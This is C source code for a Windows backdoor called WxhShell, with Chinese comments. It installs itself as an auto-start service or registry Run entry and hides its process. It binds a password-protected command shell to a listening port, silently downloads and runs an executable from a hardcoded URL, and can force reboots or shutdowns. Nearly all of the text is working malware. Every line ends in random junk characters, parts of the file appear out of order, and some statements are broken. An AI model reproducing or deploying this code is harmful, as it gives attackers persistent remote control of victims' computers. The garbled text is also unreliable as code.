  case 'd': { deYv&=SPl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /# Jvt  
    if(Boot(SHUTDOWN)) 1-^D2B[-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y[l{ UBue:  
    else { I>nYI|o1  
    closesocket(wsh); Ek `bPQ5  
    ExitThread(0);  .GJbrz  
    } ly34aD/p~,  
    break; ^cPVnl  
    } &S+*1<|`K  
  // 获取shell z6J12tu  
  case 's': { K!ogpd&X&  
    CmdShell(wsh); $#n9C79Z@  
    closesocket(wsh); IxUj(l1Fm  
    ExitThread(0); 9Cd/SlNV2  
    break; BQWg L  
  } KxKZC }4m  
  // 退出  N{g7  
  case 'x': { 25`W"x_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N}VoO0I  
    CloseIt(wsh); 53aJnxX  
    break; k?Hi_;o  
    } LvS5N)[  
  // 离开 Ws3z-U>j  
  case 'q': { Wf "$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S)zw[m  
    closesocket(wsh); 9*FA=E  
    WSACleanup(); (@*|[wN  
    exit(1); p<dw  C"z  
    break; S[9b I&C  
        } -eK0 +beQ  
  } ` ~m/  
  } lU Zj  
T7mT:z>:  
  // 提示信息 m[y~-n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .{ILeG  
} ->51t  
  } 1WqCezI  
-a_qZ7  
  return; }*9F`=%F  
} mz1m^p)~{  
AaB1H7r-  
// shell模块句柄 ul N1z  
int CmdShell(SOCKET sock) 1t/c@YUTy  
{ XN t` 4$L  
STARTUPINFO si; r0k :RJP  
ZeroMemory(&si,sizeof(si)); Ygg+=@].@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;8vB7|54.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D +0il=5  
PROCESS_INFORMATION ProcessInfo; r,IekFBs  
char cmdline[]="cmd"; c%,ky$'18  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )Rb t0   
  return 0; j^b &Q  
} L T`T~|pz  
9HN&M*}  
// 自身启动模式 :tFc Pc'  
int StartFromService(void) yO8@.-jb  
{ J| &aqY  
typedef struct -,/6 Wn'j  
{ 7lF;(l^Z>}  
  DWORD ExitStatus; l<=k#d  
  DWORD PebBaseAddress; N4VZl[7?  
  DWORD AffinityMask; X(d:!-_m *  
  DWORD BasePriority; /o$6"~t  
  ULONG UniqueProcessId; xG edY*[`  
  ULONG InheritedFromUniqueProcessId; GBg  
}   PROCESS_BASIC_INFORMATION;  Iw?^  
.Gr"| uII  
PROCNTQSIP NtQueryInformationProcess; 3nhQ^zqf  
. &}x[~g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J:uFQWxZ   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jl 7>  
/-lW$.+{?  
  HANDLE             hProcess; zBTxM  
  PROCESS_BASIC_INFORMATION pbi; 3VMaD@nYa  
_]'kw [  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U<XfO'XJ  
  if(NULL == hInst ) return 0; GfP'  
*j,noHUT~>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N!?~Dgw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &~.|9P/45  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E 8W*^^z(  
|,n(9Ix  
  if (!NtQueryInformationProcess) return 0; ^oDs*F  
4$2HO `@uN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T^d<vH  
  if(!hProcess) return 0;  K\ pZ  
A9Ea}v9:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *R4=4e2#S  
.u7grC C  
  CloseHandle(hProcess); v%`k*n':  
E<B/5g!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m#Z9wf] F  
if(hProcess==NULL) return 0; (mi=I3A(  
lv.h?"Ml  
HMODULE hMod; B "4A1!  
char procName[255]; Ls|)SiXrY  
unsigned long cbNeeded; kW%wt1",  
yoq-H+<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P&c O2  
vqUYr  
  CloseHandle(hProcess); <Cs9$J  
s;Zi   
if(strstr(procName,"services")) return 1; // 以服务启动  56C'<#  
_8`S&[E?  
  return 0; // 注册表启动 P%w!4v ~"  
} |,.1=|&u  
~|{e"!(}  
// 主模块 6eB~S)Ko  
int StartWxhshell(LPSTR lpCmdLine) kJ .7C  
{ HCktgL:E=  
  SOCKET wsl; !L|VmLqa  
BOOL val=TRUE; J~ @W":v  
  int port=0; _,Q -)\  
  struct sockaddr_in door; i[33u p  
Mp5Z=2l5  
  if(wscfg.ws_autoins) Install(); {}Afah  
I A=\c  
port=atoi(lpCmdLine); ]U4C2}u  
Ttb?x<)+8  
if(port<=0) port=wscfg.ws_port; -DZ5nx  
j~Ci*'*L  
  WSADATA data; /8dRql-Ne  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2I=4l  
)h(=X&(d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8-L -W[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /^si(BuC^*  
  door.sin_family = AF_INET; 0yUn~'+(Sp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iy8Ln,4z(  
  door.sin_port = htons(port); %&'[? LXD  
JGhK8E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |9m*? 7  
closesocket(wsl); Kx;la  
return 1; X*)DpbWd  
} >^@~}]L  
Zwtz )ZII  
  if(listen(wsl,2) == INVALID_SOCKET) { (w<llb`]  
closesocket(wsl); 70R_O&f-k  
return 1; 7}mr C@[i  
} uXGAcUx(  
  Wxhshell(wsl); |hvclEu,  
  WSACleanup(); xf:|lQf  
tOQnxKzu  
return 0; /I`-  
k1D|Cpnp  
} VB+_ kR6Zv  
?%>S5,f_  
// 以NT服务方式启动 8js1m55KT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >\lBbq a#  
{ HErG%v]nw  
DWORD   status = 0; d(D|rf,av  
  DWORD   specificError = 0xfffffff; |t58n{V.O  
cGg ~+R2P  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m$'ZiS5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -OgC.6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?O#"x{Pk  
  serviceStatus.dwWin32ExitCode     = 0; Jd|E 4h~(  
  serviceStatus.dwServiceSpecificExitCode = 0; Wjd_|Kui  
  serviceStatus.dwCheckPoint       = 0; {|q(4(f"Iu  
  serviceStatus.dwWaitHint       = 0; l n09_Lr  
S; !7 /z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6I5LZ^/G9  
  if (hServiceStatusHandle==0) return; NdI~1kemr  
~MK%^5y?  
status = GetLastError(); kKVNE h Tp  
  if (status!=NO_ERROR) I^``x+a  
{ =^ x1: Ak  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %$R]NL|  
    serviceStatus.dwCheckPoint       = 0; Uo:=-NNI  
    serviceStatus.dwWaitHint       = 0; EBUCG"e  
    serviceStatus.dwWin32ExitCode     = status; FbD9G6h5  
    serviceStatus.dwServiceSpecificExitCode = specificError; lxLEYDGFS  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); R{Me~L?  
    return; ML1/1GK*i+  
  } R8, g^N  
cEPqcy *  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2B=BRVtSs  
  serviceStatus.dwCheckPoint       = 0; QyEoWKu;  
  serviceStatus.dwWaitHint       = 0; pc](  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `jGG^w3  
} l4E0/ F  
b5%T)hn=  
// 处理NT服务事件,比如:启动、停止 Z~g7^,-t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a7fn{VU8  
{ _$gP-J  
switch(fdwControl) S1*xM  
{ @$|bMH*1:  
case SERVICE_CONTROL_STOP: [jKhC<t}  
  serviceStatus.dwWin32ExitCode = 0; t "[2^2G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !ac,qj7spa  
  serviceStatus.dwCheckPoint   = 0; Vfr.Yoy  
  serviceStatus.dwWaitHint     = 0; ]RI+:f  
  { h}GzQry1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Up1e4mNL  
  } /V>yF&p  
  return; `+T"^{ Z  
case SERVICE_CONTROL_PAUSE: IKeO&]k  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f2M}N  
  break; 6"c(5#H  
case SERVICE_CONTROL_CONTINUE: WP? AQD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )#025>$z  
  break; Wtj* Z.=:  
case SERVICE_CONTROL_INTERROGATE: ggzcANCD<  
  break; AKUmh  
}; c"S{5xh0&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3TnrPO1E  
} o;{BI Q1  
zHQSx7Ow 5  
// 标准应用程序主函数 z7]GZF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u'"]{.K>fb  
{ = _/XFN  
/G!M\teeF  
// 获取操作系统版本 >B+!fi'SS>  
OsIsNt=GetOsVer(); B5/"2i  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %_ Vj'z~T  
43BqNQ0  
  // 从命令行安装 D'\gy$9m1  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]9$^=z%SE  
Ou2p^:C(  
  // 下载执行文件 6fw2 ;$x"  
if(wscfg.ws_downexe) { F+m;y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :z%q09.)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 63pd W/\j  
} p2(Z(V7*  
L<ET"&b;4  
if(!OsIsNt) { LZ1)zoJ  
// 如果时win9x,隐藏进程并且设置为注册表启动 /n8\^4{fP{  
HideProc(); C\gKJW^]y@  
StartWxhshell(lpCmdLine); ;^|:*  
} /zIUYY  
else C5EaP%s  
  if(StartFromService()) ?!$:I8T  
  // 以服务方式启动 }9 I,p$  
  StartServiceCtrlDispatcher(DispatchTable); o9c?)KQ  
else 9wP,Z"  
  // 普通方式启动 I*l y 7z  
  StartWxhshell(lpCmdLine); R b=q #  
k[]2S8K2  
return 0; A$W~R  
} zEs:OOM  
fnJt8Y4  
P?j;&@$^e  
YaAOP'p  
=========================================== )EIT>u=  
irKM?#h  
9qX)FB@'i;  
XWq@47FR  
$'93:9tg  
F0/!+ho  
" T3h1eU  
*w[0uQL5Z  
#include <stdio.h> `clp#l.ii  
#include <string.h> M.fA5rJ^  
#include <windows.h> IQQ QB  
#include <winsock2.h> $9?<mP2-*  
#include <winsvc.h> hf< [$B  
#include <urlmon.h> @5*$yi 'Cp  
dc,qQM  
#pragma comment (lib, "Ws2_32.lib") -s9()K(vZG  
#pragma comment (lib, "urlmon.lib") #,Cz+ k*4  
j},3@TFh  
#define MAX_USER   100 // 最大客户端连接数 9 f= ~E8P  
#define BUF_SOCK   200 // sock buffer :HkX sZ  
#define KEY_BUFF   255 // 输入 buffer "*ww>0[  
QeG3X+  
#define REBOOT     0   // 重启 ,d$D0w  
#define SHUTDOWN   1   // 关机 #.@-ng6C  
o8u;2gZx  
#define DEF_PORT   5000 // 监听端口 M&` b\la  
aBWA hn  
#define REG_LEN     16   // 注册表键长度 g,s^qW0vds  
#define SVC_LEN     80   // NT服务名长度 <j:@ iP  
Z^_gS&nDa~  
// 从dll定义API [Lq9lw&   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;={3H_{3  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ].Xh=7&2{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1EA#c>I$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !AN;  
0n*D](/NK  
// wxhshell配置信息 |X;|=.  
struct WSCFG { Y |9  
  int ws_port;         // 监听端口 0?O$->t  
  char ws_passstr[REG_LEN]; // 口令 b!`{fwV  
  int ws_autoins;       // 安装标记, 1=yes 0=no Cm;M; ?  
  char ws_regname[REG_LEN]; // 注册表键名 /n1L},67h  
  char ws_svcname[REG_LEN]; // 服务名 Q+ZZwqyxD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hd@jm^k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3>mAZZL5[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CI^s~M >  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >Et~h65d5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LpN3cy>U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;Pe=cc"@  
|G/W S0  
}; +P%k@w#<Z  
!TO+[g!  
// default Wxhshell configuration z[' 2  
struct WSCFG wscfg={DEF_PORT, D 3Tqk^5  
    "xuhuanlingzhe", rG3?Z^&R+  
    1, moL3GV%]Gq  
    "Wxhshell", AejM\#>  
    "Wxhshell", y+nX(@~f]  
            "WxhShell Service", r*9*xZ>8u  
    "Wrsky Windows CmdShell Service", 2=uwGIF  
    "Please Input Your Password: ", ~]SCf@pRk  
  1, 63/a 0Yn  
  "http://www.wrsky.com/wxhshell.exe", @W-0ybv  
  "Wxhshell.exe" C%H?vrR  
    }; yX/{eX5dr  
$N\k*=  
// 消息定义模块 &pW2R}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5}Z>N,4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &cwN&XBY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; n 0g8B  
char *msg_ws_ext="\n\rExit."; 0X5b32  
char *msg_ws_end="\n\rQuit."; iw%" "q(`  
char *msg_ws_boot="\n\rReboot..."; ZmmX_!M  
char *msg_ws_poff="\n\rShutdown..."; R]3j6\  
char *msg_ws_down="\n\rSave to "; 1)!2D?w  
D7=Irz!O\7  
char *msg_ws_err="\n\rErr!"; nf1O8FwRb  
char *msg_ws_ok="\n\rOK!"; zI4d|P  
.q1y)l-^Z  
char ExeFile[MAX_PATH]; Q" r y@ (I  
int nUser = 0; wHh6y?g\  
HANDLE handles[MAX_USER]; n'[>h0  
int OsIsNt; 6sG5 n7E-A  
&hih p"  
SERVICE_STATUS       serviceStatus; m|3 Q'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 88l1g,`**  
u;+8Jg+xH/  
// 函数声明 RAWzQE }  
int Install(void); i|m8#*Hd  
int Uninstall(void); 2#/23(Wc  
int DownloadFile(char *sURL, SOCKET wsh); #x`K4f)  
int Boot(int flag); |AS~sjWSJ  
void HideProc(void); ae" o|Q  
int GetOsVer(void); A]ZQ?- L/  
int Wxhshell(SOCKET wsl); LW k/h 1  
void TalkWithClient(void *cs); W8F@nY  
int CmdShell(SOCKET sock); sR/y|  
int StartFromService(void); $9P=  
int StartWxhshell(LPSTR lpCmdLine); 5)A[NTNJx  
.5);W;`X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q;*'V9#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ESUO I  
"Mz#1Laby`  
// 数据结构和表定义 xT(0-o*  
SERVICE_TABLE_ENTRY DispatchTable[] = e+)y6Q=  
{ hu.p;A3p;  
{wscfg.ws_svcname, NTServiceMain}, g#`}HuPoE  
{NULL, NULL} e4|a^lS;  
}; c-_1tSh}  
P+BGCc%);B  
// 自我安装 X&IT  s  
int Install(void) LH.Gf  
{ m#[9F']Z`  
  char svExeFile[MAX_PATH]; #+i:s92],  
  HKEY key; RA?_j$  
  strcpy(svExeFile,ExeFile); 9MH;=88q  
"U+c`V=w  
// 如果是win9x系统,修改注册表设为自启动 (<rE1w2s:  
if(!OsIsNt) { ug.|ag'R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { | P`b"x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }Xfg~ %6  
  RegCloseKey(key); ~f"3Wa*\B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \Zh&[D!2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ay|jq "a  
  RegCloseKey(key); <B>hvuCoH  
  return 0; ~`="tzr:  
    } ;K~=? k  
  } }zxf~4 1  
} P&=YLL<W  
else { qM+Ai*q  
w]nt_xj  
// 如果是NT以上系统,安装为系统服务 #%F-Xsk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dm]g:KWg  
if (schSCManager!=0) RN|Bk  
{ u})*6l.  
  SC_HANDLE schService = CreateService mln4Vl(l2M  
  ( WrcmC$ff  
  schSCManager,  + K`.ck  
  wscfg.ws_svcname, crOSr/I$  
  wscfg.ws_svcdisp, %@)R  
  SERVICE_ALL_ACCESS, T+aNX/c|>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $gN\%X/n"1  
  SERVICE_AUTO_START, Z6rZAwy  
  SERVICE_ERROR_NORMAL, 1zCu1'Wv  
  svExeFile, -#mN/  
  NULL, \4^zY'  
  NULL, b8Z_o N5!  
  NULL, S(nQ?;9,  
  NULL, 63J3NwFt  
  NULL >F:1a\c  
  ); .c&&@>m@.  
  if (schService!=0) K F_Uu  
  { x;`G n_  
  CloseServiceHandle(schService); B9[vv;lzu  
  CloseServiceHandle(schSCManager); S>r}3,]S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YtKT3u:x  
  strcat(svExeFile,wscfg.ws_svcname); pUS:HJk|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7 )[2Ud8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); uF1 4;  
  RegCloseKey(key); UJQTArf  
  return 0; I'^XEl?   
    } }st~$JsV1  
  } I\1"E y  
  CloseServiceHandle(schSCManager); 9C2pGfEbn}  
} M$Ui=GGq  
} "U"fsAc#  
0^\H$An*k  
return 1; S.Kcb=;"L  
} j,;f#+O`g  
SXYwhID=  
// 自我卸载 )/JVp>  
int Uninstall(void) 8t=O=l\  
{  maHz3:  
  HKEY key;  B9y5NX  
FyWf`XTO  
if(!OsIsNt) { ("ix!\1K@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 38m9t'  
  RegDeleteValue(key,wscfg.ws_regname); qoH:_o8ClO  
  RegCloseKey(key); {5D%<Te  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aMGh$\Pg  
  RegDeleteValue(key,wscfg.ws_regname); fa,:d8  
  RegCloseKey(key); ,jeHL@>w[  
  return 0; SP<Sv8Okj  
  } \m}a%/  
} <}A6 )=T  
} N\&VJc  
else { 2;*G!rE&*`  
Q]GS#n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ks("( nU  
if (schSCManager!=0) wJJ|]^0.  
{ =liyd74%`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /m;Bwu  
  if (schService!=0) +X+R8  
  { h*D -Vo  
  if(DeleteService(schService)!=0) { v;G/8>GRy  
  CloseServiceHandle(schService); H_3Wx fO  
  CloseServiceHandle(schSCManager); W`JI/  
  return 0; /DH`7E  
  } OmZZTeGg1s  
  CloseServiceHandle(schService); iG"v  
  } .sQV0jF{  
  CloseServiceHandle(schSCManager); 2]Cn<zJ  
} x1`(Z|RJ  
} o6|- :u5_/  
H1%o)'Kut4  
return 1; l{.PyU5)  
} *0@Z+'M?  
0PFC %x  
// 从指定url下载文件 D4(73  
int DownloadFile(char *sURL, SOCKET wsh) #K@!jh)y^  
{ L gX2KU"  
  HRESULT hr; 8YE4ln  
char seps[]= "/"; YU 0pWM  
char *token; ^`dMjeF  
char *file; *oIIcE4g7  
char myURL[MAX_PATH]; 0S;Ipg  
char myFILE[MAX_PATH]; t4d/%b~{:U  
YGM7?o  
strcpy(myURL,sURL); 0vDvp`ie#4  
  token=strtok(myURL,seps); roAHkI  
  while(token!=NULL) 2B6u) 95  
  { Gs|a$^V|o  
    file=token; % q!i  
  token=strtok(NULL,seps); ]e5aHpgR=  
  } @oj_E0i3  
F?MVQ!K*  
GetCurrentDirectory(MAX_PATH,myFILE); *P7n YjG  
strcat(myFILE, "\\"); <3tf(?*,k]  
strcat(myFILE, file); SJO*g&duQ  
  send(wsh,myFILE,strlen(myFILE),0); y]obO|AH  
send(wsh,"...",3,0); ?P9VdS1-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r/0 #D+A  
  if(hr==S_OK) k5tyOk  
return 0; []N&,2O  
else G@~e :v)  
return 1; y c<%f  
0QquxYYw,  
} hUp3$4w  
&WAU[{4W  
// 系统电源模块 +/n]9l]#h  
int Boot(int flag) $^ir3f+  
{ !=;Evf  
  HANDLE hToken; kn HrMD;  
  TOKEN_PRIVILEGES tkp; S\sy^Kt~4:  
y|*4XF<b  
  if(OsIsNt) { j!Ys/ D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SI%J+Y7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SJj_e-  
    tkp.PrivilegeCount = 1; .3Smqwm=Y  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vu~fF@ |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C'l\4ij)7  
if(flag==REBOOT) { j+/EG^*/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -~\7ZRP8  
  return 0; 54TWFDmGi  
} F/p1?1M  
else { cMy?&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F{7 BY~d  
  return 0; L7(.dO0C  
} d@cyQFX  
  } ;9=4]YZt  
  else { Ly, ];  
if(flag==REBOOT) { Ssa/;O2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^dxy%*Z/  
  return 0; Kb5}M/8  
} C5Fq%y{$.  
else { 1ATH$x  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) DX3jE p2  
  return 0; l<sWM$ez  
} \B/( H)Cd*  
} (lYC2i_b#  
l`0JL7  
return 1; {"|GV~  
} 5y0LkuRR:  
T_)+l)  
// win9x进程隐藏模块 r`u 9MJ*  
void HideProc(void) P:X X8&#  
{ j.c4  
flBJO.2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ih:%U  
  if ( hKernel != NULL ) j}jU.\*v<  
  { +'` ^ N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); {=R vFA  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b_~KtMO  
    FreeLibrary(hKernel); ' e x/IqbK  
  } T[0CD'|E  
"6?Y$y/wm  
return; =<= [E:B  
} )In;nc  
.J5or  
// 获取操作系统版本 NH1|_2  
int GetOsVer(void) j=>WWlZ  
{ V+*1?5w  
  OSVERSIONINFO winfo; kwt;pxp i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &j{I G`Trl  
  GetVersionEx(&winfo); F20%r 0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L#IY6t  
  return 1; <lPHeO<^]  
  else )=,;-&AR  
  return 0; 6X VJ/qZ  
} u`*$EP-%  
2b#> ~  
// 客户端句柄模块 ?* dfIc  
int Wxhshell(SOCKET wsl) $~A\l@xAG  
{ e7U9"pk  
  SOCKET wsh; gp{P _  
  struct sockaddr_in client; mA3yM#  
  DWORD myID; hJJo+NNN  
(jE[W:  
  while(nUser<MAX_USER) $:DhK  
{ hJ V*  
  int nSize=sizeof(client); <jVk}gi)Jp  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k1FG$1.  
  if(wsh==INVALID_SOCKET) return 1; ~BI! l  
< *{(>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -f(< 2i  
if(handles[nUser]==0) gBd~:ZUa  
  closesocket(wsh); _NbhWv  
else dFpP_U  
  nUser++; L w/ZKXDU2  
  } FC8= ru  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N sSl|m  
sWLH"'Z  
  return 0; l {\@+m  
} n 8e}8.Bu  
3Q+THg3~?  
// 关闭 socket gJ Z9XLPC  
void CloseIt(SOCKET wsh) l)1ySX&BU  
{ Nx(y_.I{K  
closesocket(wsh); f^XfIH_#  
nUser--; =Sn!'@%U]  
ExitThread(0); F8Z6Ss|v3  
} TUd=qnu  
0`e- ;  
// 客户端请求句柄 +)d7SWO6]!  
void TalkWithClient(void *cs) `qbsDfq@  
{ Tq >?.bq9  
W3i X;-Z  
  SOCKET wsh=(SOCKET)cs; :cTwp K  
  char pwd[SVC_LEN]; Dr"F5Wbg  
  char cmd[KEY_BUFF]; gB#$"mq,  
char chr[1]; ~48mCD  
int i,j; TqMy">>  
4dvuw{NZ  
  while (nUser < MAX_USER) { V6 ,59  
gLv";"4S  
if(wscfg.ws_passstr) { .J|" bs9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^`!EpO>k9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o"A%dC_  
  //ZeroMemory(pwd,KEY_BUFF); qUp DmH  
      i=0; 5 %aT  
  while(i<SVC_LEN) { $;+`sVG  
o//PlG~  
  // 设置超时 V0 OT_F  
  fd_set FdRead; jvos)$;L-  
  struct timeval TimeOut; C0Ti9  
  FD_ZERO(&FdRead); ldm=uW  
  FD_SET(wsh,&FdRead); l. i&.;f  
  TimeOut.tv_sec=8; C{):jH,Rf  
  TimeOut.tv_usec=0; y#;@~S1W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V?Zvu9b&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ow]c,F}^  
[&FWR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (@?PN+68|  
  pwd=chr[0]; N;\by<snN  
  if(chr[0]==0xd || chr[0]==0xa) { @7';bfsix  
  pwd=0; fM)RO7  
  break; u_U51C\rb  
  } j^Z3  
  i++; $ p{Q]|ww  
    } /CN^">|_  
cB7=4:U  
  // 如果是非法用户,关闭 socket G P/3r[MH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7nHlDPps)  
} "VcG3.  
t1 .6+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wBXgzd%L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8V3SZ17  
K]q OLtc  
while(1) { }3!.e  
PV%7 m7=x  
  ZeroMemory(cmd,KEY_BUFF); z|SLH<~  
R3$e q )  
      // 自动支持客户端 telnet标准   2$? )VXtw  
  j=0; =lG5Kc{B  
  while(j<KEY_BUFF) { 8f|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0Q5ua `U  
  cmd[j]=chr[0]; -K)P|'-?m  
  if(chr[0]==0xa || chr[0]==0xd) {  g=:C/>g  
  cmd[j]=0; `7|v  
  break; N|h}'p  
  } CtA0W\9w5a  
  j++; 3u8HF-  
    } L +s,,k  
Os1(28rl  
  // 下载文件 /5_!Y >W  
  if(strstr(cmd,"http://")) { RxkcQL/Le  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c>r0 N[  
  if(DownloadFile(cmd,wsh)) .)mw~3]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9oY%v7  
  else h7  >  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p9 |r y+t  
  } lG;sDR|)(  
  else { W6~B~L  
7@rrAs-"Z  
    switch(cmd[0]) { fN>o465I6  
  j4Cad  
